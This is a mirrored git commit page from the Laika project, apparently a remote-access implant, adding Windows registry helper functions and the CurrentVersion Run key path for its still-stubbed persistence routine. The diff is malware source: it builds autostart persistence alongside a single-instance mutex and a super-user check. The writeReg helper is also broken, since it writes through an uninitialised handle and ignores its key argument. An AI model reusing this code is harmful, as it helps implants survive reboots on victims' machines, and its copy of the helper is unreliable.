mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
Windows: Added registry manipulation boilerplate
This commit is contained in:
parent
136d523607
commit
cfe633f1d5
@ -4,12 +4,16 @@
|
|||||||
|
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
|
#include "lmem.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
|
|
||||||
/* we want a semi-random mutex that is stable between similar builds,
|
/* we want a semi-random mutex that is stable between similar builds,
|
||||||
* so we use the GIT_VERSION as our mutex :D */
|
* so we use the GIT_VERSION as our mutex :D */
|
||||||
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
|
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||||
|
|
||||||
|
#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion"
|
||||||
|
#define LAIKA_REG_VAL "Run"
|
||||||
|
|
||||||
HANDLE laikaB_mutex;
|
HANDLE laikaB_mutex;
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
@ -34,6 +38,40 @@ void laikaB_unmarkRunning() {
|
|||||||
ReleaseMutex(laikaB_mutex);
|
ReleaseMutex(laikaB_mutex);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
HKEY openReg(HKEY key, LPCTSTR subKey) {
|
||||||
|
HKEY hKey;
|
||||||
|
LONG code;
|
||||||
|
|
||||||
|
if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS)
|
||||||
|
LAIKA_ERROR("Failed to open registry key!\n");
|
||||||
|
|
||||||
|
return hKey;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
|
||||||
|
LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
|
||||||
|
LPCTSTR str;
|
||||||
|
DWORD ret;
|
||||||
|
|
||||||
|
/* get the size */
|
||||||
|
*sz = 0;
|
||||||
|
RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
|
||||||
|
str = (LPCTSTR)laikaM_malloc(*sz);
|
||||||
|
|
||||||
|
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||||
|
LAIKA_ERROR("Failed to read registry!\n");
|
||||||
|
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) {
|
||||||
|
HKEY hKey;
|
||||||
|
LONG code;
|
||||||
|
|
||||||
|
if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||||
|
LAIKA_ERROR("Failed to write registry!\n");
|
||||||
|
}
|
||||||
|
|
||||||
/* try to gain persistance on machine */
|
/* try to gain persistance on machine */
|
||||||
void laikaB_tryPersist() {
|
void laikaB_tryPersist() {
|
||||||
/* stubbed */
|
/* stubbed */
|
||||||
|
Loading…
Reference in New Issue
Block a user